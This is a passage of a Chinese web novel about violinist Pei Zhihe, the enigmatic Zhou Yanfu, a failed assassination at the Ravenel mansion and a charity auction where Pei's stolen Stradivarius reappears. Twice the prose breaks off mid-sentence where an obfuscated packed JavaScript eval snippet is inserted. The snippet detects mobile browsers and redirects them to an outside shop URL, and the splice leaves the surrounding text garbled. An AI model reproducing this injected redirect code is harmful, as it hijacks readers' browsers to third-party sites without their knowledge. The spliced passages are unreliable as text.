赵师父是华裔,家中世代行医,尤擅针灸之术。周阎浮是他见过腰伤背伤最严重的人,每逢周阎浮来巴黎,必征他上门。 奥利弗将人带到,例行做了检查后便放人进去。公寓内有一方单独的理疗室,身穿白色浴袍的男人正站在窗边饮酒,背影笔直,肩线在灯光下显出宽而简洁的弧度。夜幕下,奥赛美术馆的圆顶金光闪烁。 赵师父放下行医箱,躬身问候:“周先生。旧伤犯了的话,先不要饮酒才好。” 房内无人应答,唯有红酒杯放下的极细声响。周阎浮抽去腰带,脱去浴袍,在软榻上伏下。他从不闲聊,这一点赵师父早已习惯。所幸他自己也不爱聊天,唯手脚麻利,落针刺穴快如闪电。 十数枚针眨眼间便落下。除了一如既往的银针微声,今天还多了丝绷紧了的呼吸声。 赵师父的目光落在病人青筋迭起的小臂上,指尖悬停。 看来他今天伤得很重。 一向不闲聊的男人却反常地开口了。周阎浮闭眸徐徐说:“我听说,你有一个女儿,正在念高中。” “是。”赵师父恭敬地回答。 “说说。” 父亲提及女儿,脸上露出腼腆但引以为豪的笑意。医馆有学徒传承,赵师父希望女儿能学更高层面的东西,不再靠手艺吃饭。 在赵师父说着女儿时,软榻前的电视上,法语正在播报新闻。这也是周阎浮的习惯,他做推拿、针灸时总会顺便听新闻。 “我想和我的父亲说,一路供养我念书辛苦了……”电视里似乎播到了什么采访片段,传来一道快乐率真的声音。 赵师父猛地抬头,瞳孔不停地缩紧又扩散。 不会错,这……是他的女儿?!他想起来了,女儿刚完成了一场小考,今天跟朋友卢浮宫看展。 “路易先生!周先生!”赵师父扑通跪地,指尖尤捻着一枚银针:“我如果做错了什么事,请不要算到我女儿头上!” 然而榻上的周阎浮却未曾睁眼,而是用那番波澜不惊的语气说:“不急,先把手上的事做完。” 赵师父只好爬了起来,看着电视里女儿的画面落枕,齿关咬紧,下手竟未失水准。只不过做完后,整个人已是大汗淋漓。 周阎浮翻身坐起。暗室内,滑轮下的火光一闪,照亮他暗绿色的眼眸。 他自己点上烟,表情寡淡:“卢锡安派来接触你的人,跟你说了什么?” 赵师父又是悚然一惊。他是如何察觉这么微小的事的?中医馆每日正常接客,什么肤色都有。卢锡安的人只出现过一次,所有聊天在单独的理疗室内进行,过后他们没再有任何接触。 电光火石间,赵师父已经算好了轻重。他扑通一下再度跪下,头不敢抬:“周先生,用中国老话讲,我只是一个平头老百姓,本本分分挣钱养家,别的什么也不图。这么多年,我从不打听您的身份买卖,卢锡安自报家门是拉文内尔家族的人,打算资助我女儿上巴黎高师,只要……只要……” “只要你保持现状,维持这份差事,直到需要你的那个时候。” “我没有答应!”赵师父冷汗滴在地板上。 “你也没有拒绝。” 赵师父磕头如捣蒜,哐哐砸出响动。 指尖的香烟缭绕出烟雾,周阎浮睨着他,眼眸里有某种不带温度的垂悯。 “你女儿会上巴黎高师不错,”他淡淡地开口:“不过卢锡安也会让她染上毒,堕落成因为男人和毒.品要死要活的女人,人不人鬼不鬼。” 听到这幅恐怖图景,赵师父肝胆俱裂,凛然抬头:“周先生要我的命也请便,何必这么威胁我!” 周阎浮闻言,漠然道:“我倒还不至于用这种手段。” 赵师父这才惊觉,他的 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“人家日子过得好好的,因为有医术被我请来,又因为多说了两句话就死了,冤不冤?”周阎浮轻描淡写地说,“回头你挑两件像样的礼物送过去,安抚一下,顺便,”他停顿,捻了捻烟:“是时候让拉文内尔家动一动了。告诉埃莉诺夫人,她需要办一场私人慈善晚会。” · 因为周阎浮那句模棱两可的话,裴枝和陷入到身边人旷日持久的说服中。 先是艾丽为互联网上的干净啧啧称奇,感叹于此人的钞能力,又历数周阎浮能耐,从阿伯瑞斯基金会说起,整个西方文艺界慈善界时尚界,无处不见他的影子。 “你猜那些贵族为何迎他当座上宾?”艾丽神秘地眨眨眼:“数一数整个欧洲有多少古堡的修葺资金来自于他就知道了。” 裴枝和:“装修队有什么了不起?” 艾丽:“……” 闭门羹她吃完轮到苏慧珍。苏慧珍指令明确,要他去吃饭、去拉琴、去社交,尽一切可能靠近周阎浮,迎得他的欢心。 “妈妈打听过了,那点债务对他来说就是看心情,一个高兴就免了。你继父年纪大了,又背着这么大一个姓氏,要是击穿了信托,全欧洲都要看他笑话。” 裴枝和两眼一闭:“我不卖屁股。” 苏慧珍跳起来:“讲什么痴话!你把妈咪当什么!何况人家也不见得就对男人屁股感兴趣!” 她气呼呼地走了,过了多时,瓦尔蒙伯爵进来。 “你妈妈又跟你说些没谱的话了。”他倒看人很准:“别跟她一般见识,这事只能怪我,她是被我连累。” 裴枝和问得也很尖锐:“对于这么一笔天文数字,伯爵能忍住婚前不说,想必是动用了很大的修养和道德心吧?” 瓦尔蒙两边腮肉一哆嗦,垂着昏花的老眼,缓慢地说:“婚前,我去了一趟卢森堡,见了瓦尔蒙家族信托银行的代表。事情并非没有转机,只是需要时间。我们在全世界有多处地契、投资,还有一些账可以收。我真的爱她,枝和,这把年纪了,还有什么面子好放不下的呢?无非是想她富贵、快乐。看着她那副欢天喜地的样子,我真怕这些事说出来,她就离我而去啊。” 伯爵说着说着,哽咽了,拉过裴枝和的手拍了拍:“路易是个危险分子,这件事,你千万不要介入。” 裴枝和:“当然,sure,of course。” 伯爵噎了一下,吃力地起身,圆滚滚像个河豚似的走了。 由于裴枝和的软硬不吃,攻略债主这件事暂时便被搁置了下来。直到数日后,艾丽递了一份邀请函过来。 上面写着,埃莉诺·拉文内尔夫人将在私人宅邸举办一场宴会,邀请举世无双的青年演奏家枝和先生,赏光莅临演奏。 7.第 7 章 拉文内尔家族不常活跃在公众视野里,盘点名媛纨绔时,出场的往往是拉文内尔家族最边缘的成员。据传拉文内尔某一任继承人曾留下训诫,拉文内尔绝不允许登陆任何富豪榜。坊间传闻,这是因为拉文内尔家族认为,与自己的白手套们登在同一个榜单上实在有损荣光。 拉文内尔现如今的掌门人,人称埃莉诺夫人,深居简出,醉心艺术与学术,花费巨大心力在支持古典学研究及新兴艺术家上。传闻全球瞩目的某时尚盛典曾极力说服她出席,只换来她淡淡的一句:“我从十四岁起就对跳蚤市场和化妆舞会不感兴趣了。” 埃莉诺夫人的所有活动,均以非公开的形式举办,能受邀参加的无不与有荣焉。 收到邀请,裴枝和相当淡定地在柜边饮酒。他心情大好,因为苏慧珍终于动身去北边度蜜月了,暂时不会来烦他。苏慧珍排场很大,效仿电影里那种贵族式的度假,快搬空半个家,还租了部私人飞机,不知道伯爵是如何支撑这些开销的。 艾丽将这封纸质邀请函在灯下来回看了一遍又一遍:“不会错,这个烫金的鹰就是拉文内尔家族的族徽,谁都仿不出来。” 裴枝和莫名觉得这个鹰有点眼熟。 “你知道吗,”艾丽严肃靠近,声音压低:“周阎浮是埃莉诺夫人的养子,但据说实际上是她的私生子。” “哦。” “但实际上这两个都是烟雾弹,据说啊,据说,”艾丽掩唇,“他是她包养的情人。” 裴枝和呛了一口,脑中闪过周阎浮的脸,迟疑了一下:“当情人的话,是不是年纪有点大了?” 虽然没具体关注过周阎浮的年纪底细,但那种气场不是毛头小子能装出来的。 “什么呀。”艾丽道,“也就是三十岁出头。” “那老了。”裴枝和不假思索地说。他才二十二。 “真是无情啊。”艾丽挑衅他:“商陆也会变三十岁呢。” “我看不到。”裴枝和背过身去,放下酒杯,“看不到就没老。” 艾丽知道他对商陆的心思,事实上,她之所以能成为他的经纪人,也是拜商陆所赐。虽然这两个人都是天才,但却可以说是天才的一体两面,裴枝和心思敏感,讲话刻薄,时而过卑时而过亢,极其厌恶他人对自己的否定,但也会轻易被否定打击到,一张脸看上去孤傲到欠缺共情力,用他妈的话讲,就是“孤寒”。孤寒在粤语里不是好词,代表着此人断亲绝友,添一步就是天煞孤星了。 商陆却与他相反。他笃定、自信,是天生的引导者和掌控者,就像是一个自发光的恒星天体。是以,艾丽是经由商陆拍板才签下这份合约的。她原是裴枝和的学姐,学的是女高音,在长期的比赛巡演过程中,对打造一个古典乐明星产生了更强烈的兴趣。 作为冉冉升起的新星,裴枝和早在里昂歌剧院首登台时便被各大厂牌瞄准了,然而商陆一针见血指出,过早的密集商业化会“伤仲永”,裴枝和需要的是一个懂他、能和他谈到一起去的人。 艾丽获此殊荣,自然也对两人间的故事有所了解。 裴枝和问:“他这几天……有联系你吗?” ”没有哦。”艾丽故意笑嘻嘻地说,“你要谢谢这位周先生,把你演出后的那些舆情都删了个干净。现在全世界都知道你复演成功,过得很风光。” 裴枝和噎了一下,想生气又没理由,丢下一句:“谁要他多管闲事。” 转眼到了赴宴那天。 邀请函上只写了裴枝和的名字,艾丽便没陪他去,临行前叮嘱他灵光点,广开人路,别太锐气。 为表诚意,拉文内尔家派了专车来接。 裴枝和提着斯特拉迪瓦里的琴盒,却听司机交待道:“夫人为您准备了一把顶级的瓜奈里,特意着我转告您。” 瓜奈里和斯特拉迪瓦里一样,都是顶级名琴,能使用这两把琴是小提琴家毕生追求的荣耀,世界顶级的演奏家们由基金会或俱乐部、收藏家们授权使用。裴枝和的这把琴与众不同,不隶属于任何机构,而由商陆花费千万拍得,专为赠他。这把斯氏琴登记易主那天,“枝和”这个名字一举响彻古典音乐界。艾丽一针见血,说好风凭借力,这是商陆送他成名的第一程。 只要使用这把琴一天,裴枝和就觉得他的灵魂与商陆是贴近的。即使九岁那年的月光,已很遥远了。 裴枝和对司机的话充耳不闻,躬身坐进车内:“没有一个琴手会空手赴会。” 因为要演出,他到得比一般宾客要早。埃莉诺夫人专门调了一间房间供他休息,尤其是做演出前的冥想。 如果不是亲自走进这样一座府邸,任何人都难以想象在巴黎塞纳河畔这样寸土寸金的地方,这样一座宫殿般的建筑会是私人所有。一走进去,眼睛便被富丽堂皇的壁画所填满了,乘电梯到了五楼,金红色的油画穹顶与深蓝色的地毯如此隆重,足以吞噬每一个走进此间的渺小个体。毫无疑问,只有从出生起便生活在这种环境下的人,才能培养出与之相得益彰的气场。 裴枝和提着名琴,黑色礼服下的身体纤细笔挺。往往大家族的佣人比主家更鼻孔朝天,见过的名流比车站里的吉普赛人还多。但今天,他有些意外于眼前这人的优雅。那丝清高不像是为了不落下风而硬装的。 休息室在走廊尽头,窗景正对河流,湿润的风拂了一丝进来。 送走佣人,裴枝和暂且脱去西服,给自己倒了杯茶。 走廊传来人声。 “路易的车已经出发了。” “按他的习惯,他会先去跟夫人请安,之后回到房间休息。就在那个时候动手。” “他身边那个烦人的金毛,安排好了吗?” “放心,有人会去对付他。” “记住动作要快,其余一切都不用管。他死在夫人这里,没人会多问什么。” “但是密钥怎么办?他一死,谁还能打开‘Arco’?” 裴枝和拈着杯耳,半天没动弹。但走廊外也没声音了,过了会儿,一声敲门声让他一个激灵。 还好,是佣人,来送热毛巾的。 心脏砰砰跳,裴枝和半天没缓过神,佣人还当他为即将的演出紧张。 裴枝和认识不少叫路易的人,但身边跟着个金毛的,就只有周阎浮一个。 有人要在这里杀周阎浮? “Arco”又是什么?裴枝和会注意到这个词,是因为它在小提琴中意思为“弓奏”。当乐谱上出现“Arco”时,就代表演奏者需从休息或拨弦中回到用弓演奏的状态。 所以……什么叫做“他一死,谁还能打开Arco?”听上去,Arco是一个东西的代号。 要提醒吗?裴枝和心乱如麻。他跟周阎浮仅有两面之缘,为着他坐了商陆专属的座位,裴枝和会记仇一辈子,何况他一死,伯爵的债不也刚好解除了?听上去,他的死只有利而无害。 想到这里,裴枝和蹭地起身,捏紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805651|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双拳开始踱步。 靠。什么跟什么啊?自从遇到他,什么枪啊暗杀啊都一起来了! 不。他不能在这里待着,看样子周阎浮的房间就在隔壁。万一死起来血溅到他身上。 裴枝和拿定了主意要走,匆忙中撞翻了杯子也不顾,拎上琴盒正待推门,却听到了两道熟悉的声音。 一道是周阎浮,一道是金毛。 周阎浮低沉的嗓音很有辨识性,在跟金毛说些无关紧要的东西。 呵。裴枝和转身贴上门背,无声冷笑。将死之人,因为对命运一无所知而在此谈笑风生。多么古典性的悲剧一刻,而他是他的观众。 一声很轻的关门声传来,走廊安静了。过了片刻,裴枝和再次深深吸了一口气,拧门而出。 匆匆的步履眨眼便到了扶梯口。 却又突兀地停下了。 两秒后,鞋面调转方向,用比来时更匆匆的步履重返走廊深处,且从背影看上去,带着股莫名的怒气。 就救他这一次!说完就走绝不停留! 裴枝和咬牙毅然入内,甚至连门都懒得敲。 房内的男人没有提防,面朝窗景而站,一旁的床尾凳上散落着西服和领带,显然是他刚脱下来的。听到动静,他微微偏过了视线,眼部肌肉警惕性地微眯了眯。 “是你。”看清来人,他身体松弛下来。 裴枝和用视死如归的视线瞪着他,周阎浮不得不承认,他很适合这种表情。假如时机合适,比起小提琴来,他更像送他一把枪。 “有人要杀你。” 话音落下,屋子里没人答话,只有裴枝和稍显急促的呼吸声。见周阎浮没反应,裴枝和也不再等下文,果决地转过身去,手握上门把。将拧未拧时,一阵混杂着香水与烟草的男性气息猛然逼近覆盖了裴枝和的呼吸,继而,一只宽大而微凉的掌心,盖在了他的手上。 “哦?” 很难说这声里没有调戏的成分,并且他嗓音里的颗粒感更加深了这层戏弄意味。 “那你走这么快,是怕死在这里?” 裴枝和咬牙:“松开。” 这人的强势让他心惊肉跳,他鼻尖几乎碰上了门,背后退路却被周阎浮封死,从任何人的角度来看,都像是一个他对他后入的姿势。 想到这里,裴枝和悚然一惊,铺天盖地的后悔。他多管什么闲事?要是这时候杀手进来,把他一起杀了,写上报纸就是艳情一桩。他死的就够冤了,等商陆看到报纸,又会怎么想?简直是做鬼都不甘心。 “你突然进来,丢下这么一句话,就想走?”周阎浮盖在他手上的手不仅不松,反而意味明确地加重力道下压,讲话的热气灼在裴枝和的耳廓上。 “我听到了,有两个人在走廊上商量,怎么把你身边那个保安调走,怎么杀你。” “保镖。”周阎浮为奥利弗纠正,“他是美国特种部队的退役兵,精通所有格斗和武器。” “谁问了?”裴枝和愠怒道。 “所以你的意思是,”周阎浮重复了一遍他的话:“有两个傻子,在走廊上大声密谋说要杀我,刚好被你听到。” 裴枝和:“……” 周阎浮从鼻尖里哼出笑:“谢谢,虽然现在离万圣节还早,不过……” 他说着,从西装裤兜里摸了个什么出来,递出手去。 裴枝和低眼一看 一枚扁扁的彩虹圈棒棒糖。 “拿去玩吧。” 8.第 8 章 变故就这时候发生—— 门锁被从外面拧动,力道从门把手传导到裴枝和手上,他脸色还没来得及变化,就感到另一股更大的力自他手背压下,借着他的手将门给硬扣了回去,接着便是当机立断的一声反锁。 这一切快得只够一秒,紧接着,裴枝和的手被周阎浮从门把上拂下,拢在掌心,同时整个人也被他从背后自腰际抱住。他力道大得不可思议,裴枝和被钳制得双脚离地,被迫跟着他的姿势转身,下一个瞬间,两发子弹擦着裴枝和的手射过来,爆开锁芯。 裴枝和:“!!!” 好险!他价值千金的手! 还没等他心脏复位,脑袋就又被周阎浮的大手狠狠压下,转眼间,对面陶瓷花瓶应声而碎。 真的会死在这里的!意识到这一点,裴枝和呼吸骤停,手脚也僵硬起来。开玩笑,就算不僵硬,也根本不可能应付得了这种乱射吧! “把自己交给我。” 电光火石的混乱间,裴枝和听到耳际这样沉稳的一句。 交?怎么交? 他穿着西服的纤长身体在周阎浮怀里像被摆弄的娃娃,又或者是两人正在合力跳一支怪异的探戈。如果还有余力观察,裴枝和会发现这男人的两只手分别小心地护住了他的脑袋和手,而自己的躯干则完全在他宽厚身体的掩护下。他训练有素又敏捷的身法像是猎豹,又像是开了天眼,总能恰好地预判到对方的子弹,继而精准地调动自己的骨骼肌肉神经,带着裴枝和死里逃生。 “扑倒,要进来了。” 这一声后,周阎浮果断带着他往旁边一扑,与此同时门则被一脚踹开。 裴枝和余光瞥见橙红色的琴盒,失声惊叫:“琴!” “这种时候就不要管这些没用的东西了。”周阎浮冷声,毫不留情地一脚将琴盒踢远,继而在他屁股上拍了一下:“去吧台后面躲好。” 可恶!裴枝和耳廓绯红忍下一句脏话,手脚并用地冲大理石吧台爬去,怒道:“整个拉文内尔家就没人长耳朵吗!” 周阎浮居然笑了一声,接着声线一沉:“来了。” 巨大的玻璃破碎声传来,碎片甚至从阳台横穿整个房间蹦到了裴枝和脚边。他没敢露头,不知道发生了什么事,只听到一连串慌乱的法语,接着便是四五声枪声——裴枝和这才发现,不是拉文内尔都聋了,而是刚刚那些枪击都使用了消音器,那么这个枪声是谁的? 然而不等他想明白,枪击便停止了,只剩一点微弱的气喘,以及渐远的一串脚步声。 “跑了哦,要追吗?” 是那个美国金毛?他不是被人引开了吗? 裴枝和猫在吧台后不敢轻举妄动,直到听到了金属打火机的开盖声。烟草味舒缓开,周阎浮吁出一口,轻描淡写说:“不用。这么精彩,也该有个人回去讲讲。” 又说:“出来吧。” “谁?”奥利弗持枪预射的姿势随着裴枝和面孔的露出而松懈下来,继而挑了挑眉,“是迷路了吗,音乐家先生?” 裴枝和满身狼狈,头发上挂着墙粉木屑,举目一看,原本奢华的房间也已经是一片狼籍,到处都是被子弹炸开的碎片,连一个完整的家具都找不出了,可见刚刚半分钟里对方有多丧心病狂。 废墟中,周阎浮坐在一张被崩掉了半边扶手的沙发椅上,白衬衫已有些软塌,宽松地随着他身体的线条而显出其结实的轮廓。白色的烟雾从他指尖丝丝缕缕地飘散,他坐姿散漫,神情微敛,似乎刚刚什么事也没发生。 温热的河风从窗户上巨大的破洞里灌入,与室内的冷气交织,在裴枝和皮肤上留下潮湿的触感,令刚才的生死一线恍如一场梦——如果不是地上躺着两具尸体的话。 “等等,我的琴呢?”裴枝和反应过来,脸色一变。 刚刚被周阎浮踢远的琴盒赫然不见了。裴枝和疾冲数步,环顾,弯腰,翻箱倒柜,又拨开地面碎片,四面寻找。 奥利弗问:“什么琴?” 周阎浮坐在扶手椅上,手擎香烟静静地看着他的六神无主,用一种事不关己的口吻说:“别找了,被人带走了。” “开什么玩笑?”裴枝和捏拳咬牙:“你瞎了?不会派人追吗?” “喂喂喂。”奥利弗歪了歪脑袋:“Young lady,你以为你在跟谁说话?” 上一个在交易中这么掀桌的人,现在应该已经从鱼肚子里拉出来了。 但奥利弗瞥了眼周阎浮,发现他并无不悦。 好吧。 不过话说回来——奥利弗习惯性地反手摸了摸自己金色的脑袋——刚刚要追的话,也不是不可能。 周阎浮:“一把破琴而已,再送你一把就是了。” “破琴?”裴枝和感到胸腔内气血翻涌,脑袋也缺氧晕眩,几乎没法保持站立,“那是斯特拉迪瓦里,是商——” “好了。”周阎浮冷冷淡淡地打断他,“你该想想接下来的演出怎么办。” 裴枝和站着没动,看他的视线比他看自己的更冷,甚至有某种仇恨。 “真是无情啊。”周阎浮讥笑了一下,墨绿的眼睛看上去有一丝阴沉和嗜血:“明明刚刚才生死与共过,不是吗。” 他吩咐奥利弗送客,临走前给出承诺,他会帮他把琴找回来。 走廊空无一人到反常,裴枝和这才第二次地明白过来——拉文内尔家确实不是没长耳朵,而是刻意对这一事态保持了缄默,仿佛事先接到了通知。否则再怎么样,奥利弗破窗而入的动静也该惊动人了。 唯一解释,是周阎浮早就知道会有这一遭,也早就做了安排。不请自来的裴枝和是这周密计划里唯一的意外,也是唯一的天真。 回到原本的休息室,一切照旧,刚刚被他撞翻的茶杯被换成了杯新的,而一把古老但保养得灿新的瓜奈里小提琴,静静地摆在了架子上。 裴枝和啼笑皆非。 埃莉诺夫人是用这种方式告诉他,虽然她尚未露面,但她是这里说了算的人。 死里逃生,裴枝和整理仪表,竟如往常一般坐下来冥想,继而提起了这把琴出门。 宴会厅已是宾客盈门。彩绘窗外,深蓝色夜幕如天鹅绒,不远处圣母大教堂的塔尖闪烁着如黄金般的光芒。 埃莉诺夫人经人引荐后,方才纡尊降贵地递出手,与裴枝和握了一握。这倒符合旧式贵族的礼仪,只是让人觉得好笑,仿佛发出邀请函的人不是她,而是裴枝和非腆着脸来献奏。 她的年岁不详,但看上去约有六十岁,头发银白色,十分优雅,穿一条落肩的鱼尾式黑色长裙,颈上的珠宝点到为止,甚至可以说,在她面庞的光彩下,这蓝宝石可忽略不计。 裴枝和谈吐得体,令她高看一眼。 “真想不到。”她优雅地请求裴枝和原谅,“你知道的,据我所知,中国没有贵族。” 裴枝和用她的方式提了提嘴角:“当然,因为中国的革命成功了。” 埃莉诺夫人:“……” 不多时,裴枝和登台演奏。 作为演奏家,他有自矜的一面,但每当这种时候,他常常觉得自己与古代的戏子无异。也许事实就是这样,古代的戏子也是酷暑寒冬学艺十载,磨练技艺,靠给大众演绎而挣吆喝,再用这吆喝去敲开达官贵人们私宴的厅堂。古往今来的贵人们,也都有他们爱听的折子戏,只是到了这儿成了名为高雅的古典乐而已。再往深了想,这一首首悦耳的旋律,最初诞生之初,就多半是为宫廷而作的。 这样的心情,裴枝和从未对任何人流露过,包括商陆。商陆是这尊贵世界的一员,又在艺术追求中淬炼出了至纯至真的信仰。他这些心声,在商陆眼里是无益于艺术的杂音。 一首小提琴钢琴协奏结束,掌声雷动,正巧此时宴会厅大门被拉开,一道颀长的人影借由灯光递进,于是整个厅都为之静了一静。 裴枝和回首望去,刚刚才沐浴过枪林弹雨的男人已换上了正式的晚礼服,胸前的温莎结如此典雅饱满,头发尽皆后梳一丝不苟,就连站在他一旁的奥利弗也是一副人样。 “Bravo,不愧是当世最伟大的演奏家。” 被众目睽睽下这么一夸,裴枝和宁愿刚刚被枪打死了。 “既然路易到了,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810626|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么拍卖会就开始吧。”埃莉诺夫人示意管家。 埃莉诺夫人固定周期举办慈善拍卖晚会,所募资金均用于扶持全世界的艺术家以及濒危失传的技艺。当然,谁都知道这种性质的拍卖会不会出现什么惊天硬货,众人也不是为寻宝而来,而只是为了出现在拉文内尔家族的客厅而已。 拍卖厅已准备得当,层层叠叠的瀑布水晶灯下,象征拉文内尔家族的深蓝色绸布与金色雄鹰标志点缀,白色环形站台上,一方高清Led屏幕正循环播映着即将上场的拍品们。 裴枝和可凑不起这个热闹,本来想找个借口告辞,但埃莉诺夫人亲切地挽住了他的手。再一错眼,发现周阎浮嘴角噙笑目光玩味。 裴枝和顿时想到了周阎浮是埃莉诺夫人面首的八卦,先是脑海里不可控地构想了一番两人云雨画面,接着一个激灵,想到了某种不好的可能性——首先,他这身板肯定伺候不了这位夫人。其次,他也万万玩不了三人行! 但是,传说中的拉文内尔家族家大势大,有的是力气和手段……万一夫人非要勉强,那他勉为其难之下,唯一能当的也就是那种片子里在一边装睡的无能为力的丈夫了…… “看来夫人很喜欢枝和。”周阎浮哪壶不开提哪壶。 夫人道:“我喜欢和这样多才多艺的年轻人待在一起。” 裴枝和一道雷从头劈到脚。 “君不见,高堂明镜悲白发,朝如青丝暮成雪。” 埃莉诺夫人兴致勃勃问:“什么意思?” 周阎浮看着裴枝和,视线深邃:“没什么,在年轻人面前感慨韶华易逝而已。” 夫人牵过他手,在他手背拍了拍:“你还年轻,十分能干,大有可为。” 裴枝和一脸木然:“……” 没有疑问,他们今晚就要试一试“宝刀”有没有老了。 随着社交环节的结束,埃莉诺夫人登场致辞,拍卖会正式拉开序幕。按夫人的安排,裴枝和跟周阎浮坐在了一起。 “枝和小姐要是看中了什么,不妨告诉我。”周阎浮姿态随意,“我可以试着拍拍看。” 裴枝和已经放弃纠正他的称呼,某种程度上,他要是反复强调才正中了周阎浮的恶趣味。他嘲弄地说:“还以为路易先生要说,就算是天价也在所不惜。” 周阎浮侧过脸睨了他一眼:“实力没问题,可惜关系没到这一步。” 裴枝和心跳一漏,继而愠怒起来。艺术家的地位就这么低下吗?一个贵妇养的情人走狗也敢对他出言调戏? 接下来的拍卖中,裴枝和打定主意不再理会他,也没开口说过什么。但纵使如此,他的注意力还是不得不被他所牵动。 他注意到周阎浮每轮都举牌。有时在起拍阶段,有时在数方追咬很紧时,有时则在眼看着一方即要胜出的最后阶段。他对拍品的喜好也毫无规律,估值抬价天马行空,时而十万欧一手,时而直接叫一百万,离奇的是,即时他喊了一百万,东西也不会砸在他手里,而是会在一种咬牙切齿的氛围中被别人接盘过去。 裴枝和不得不承认,这个看似随心所欲漫不经心的男人,掌握了全场的节奏,也戏弄了每一个参与者。有人坐立难安,有人咬牙切齿,有人无奈败退,有人被迫豪掷千金。从看戏的角度来说,他的操控,让这场拍卖会比电影还精彩。 但紧接着的下一个拍品,却让裴枝和失去了这种置身事外的从容,也让整场拍卖会达到了高潮—— 一把琴。一把小提琴。一把斯特拉迪瓦里小提琴,出现在了屏幕上。 裴枝和目眦欲裂,几乎就要站起来——这难道不是他的琴?!!! 但他撑着扶手的手却被周阎浮牢牢盖住。于此同时,小小会场里却有另一个男人站了起来,站得如此急切,连椅子都掀翻。 裴枝和跟其他人一样回头看去,灯光下,一个头发花白的男人也很不敢置信地瞪着屏幕。 “着什么急呢?”周阎浮沉声问,泰山崩于前也无动于衷的权力感从这一瞬间释放:“我说了,枝和先生看上什么,我都会为你试试看。 “——天价也未尝不可。” 9.第 9 章 裴枝和认出了这个举止突兀的老人。 好像是叫……卢锡安? 他是埃莉诺夫人的堂弟,宴会演奏开始前,他曾来寒暄。他身上的贵族气并不明显,甚至看上去有一丝唯唯诺诺。坊间传闻,虽然同是拉文内尔后裔,他和堂姐埃莉诺的族内待遇却是天差地别。 裴枝和对他有一丝同情,大约是物伤其类吧,大家族的边缘人不好过,况且他还有轻微的帕金森。也许刚刚这一幕,就是因为他的帕金森闹出来的。 果不其然,卢锡安脸上挂起了讨好的笑,用发抖的右手吃力地扶起椅子。没人注意到他滑入鬓角的冷汗。 一个小时前。 从暗杀现场被带走的斯特拉迪瓦里,连琴带盒被送往了拉文内尔家另一间房间,琴盒染血,带它回来的男人也是一瘸一拐,右腿重伤染血。 “卢锡安,计划失败了。”他吞咽了一下,“只有我一个人活着。” “什么?”正焦灼等在桌前的男人转过身来,脸上流露愕然和一丝惊慌,“暴露了吗?怎么可能!” 埃莉诺夫人的宅邸对路易来说相当于安全屋,一旦进入这里,他就会卸下所有防备。正因如此,卢锡安才胆大心细地策划了这一场暗杀。整条走廊都在他的布控之下,绝无一人进入。行动开启前,所有参与人员都保持了战术性静默。无论怎么看,这都是一次万无一失的暗杀计划! “他太狡猾。”杀手捂住血流不止的大腿,“奥利弗根本不在迪拜,我们被做局了!” “这是什么?”卢锡安的眼神落在琴箱上。 “‘Arco’。” 这个答案显然引起了他的注意,或者说,他简直是双目放光,几乎要扑上去:“你怎么确定?” “我不确定,但‘Arco’这个名字跟小提琴有关,当时,路易很紧张这个东西。我认为有蹊跷。”他顿了一顿,“当时他也很宝贝身边一个男人,他很有可能是传闻中‘Arco’的设计师。” 在杀手屏住呼吸的注视下,卢锡安郑重打开琴盒。 一把流光溢彩的小提琴呈现在他眼前,“Arco”身上的种种神秘传说,几乎足以令它此刻不奏自鸣。 然而五分钟后,卢锡安就对着它暴跳如雷,因为无论怎么看,它都只是一把普普通通用来取悦人的演奏工具而已。 “蠢货!‘Arco’是一个可以秘密操纵油轮、港口、海上中转平台的系统!怎么会是一把琴!怎么会是一把琴!” 嘶吼令他面容扭曲,暴怒中,他抄起一只钢笔,猛地刺进杀手的大腿伤口中,一道惨绝人寰的惨叫声刺破穹顶。 如何处置这把琴成了难题。送回去是不可能的,那无异于不打自招。卢锡安计划暂且保管,等弄清价值和来历后,再作打算。但现在,无人知晓怎么回事,这把被他亲手锁进保险柜的琴出现在了拍卖会上,安插进了早就确定好的拍品名录里。 卢锡安几乎魂飞魄散。 难道,那个男人是想通过这种方式告诉他,他既然能轻易地从他房内取走琴,就代表他能取走任何他想要的东西,包括——他这个便宜叔叔的命?! 与卢锡安阴晴不定的脸色形成鲜明对比的,是裴枝和的迫不及待。 他恨不得立刻起身要回这把琴,但周阎浮按着他的那只手纹丝不动。 “你按着我干什么?”裴枝和怒目相向。 “你想搅了埃莉诺夫人的拍卖会?”周阎浮意味深长地问:“也不是不可以,不过,你准备了什么代价?” 一盆冷水浇熄了裴枝和身体里的躁动。在裴家忍辱负重这么多年,没有谁比他更懂得这种豪门的能量,何况是传说中的拉文内尔家。这场拍卖会是埃莉诺夫人的作品,也是会场内各个心思各异的新老贵族们勾兑资源的桥梁,谁胆敢破坏,谁就是公敌。 裴枝和深深地吸了一口气。 “冷静了?”周阎浮按着他的力度也稍松,透出股安抚和从容:“我保证,这把琴今晚一定会回到你手里。” 拍卖师对着这把斯氏琴娓娓道来:“此琴由著名制琴大师大师安东尼奥·斯特拉迪瓦里亲手制作于1709年,这是这位大师公认的黄金年代……” 裴枝和闭上眼。拍卖师的声音远去了,眼前浮现的,是商陆第一次在他面前打开琴盒时的画面。琴身温暖的琥珀红橙色中,流转着细腻的黄金微光,正如晨曦曙光。 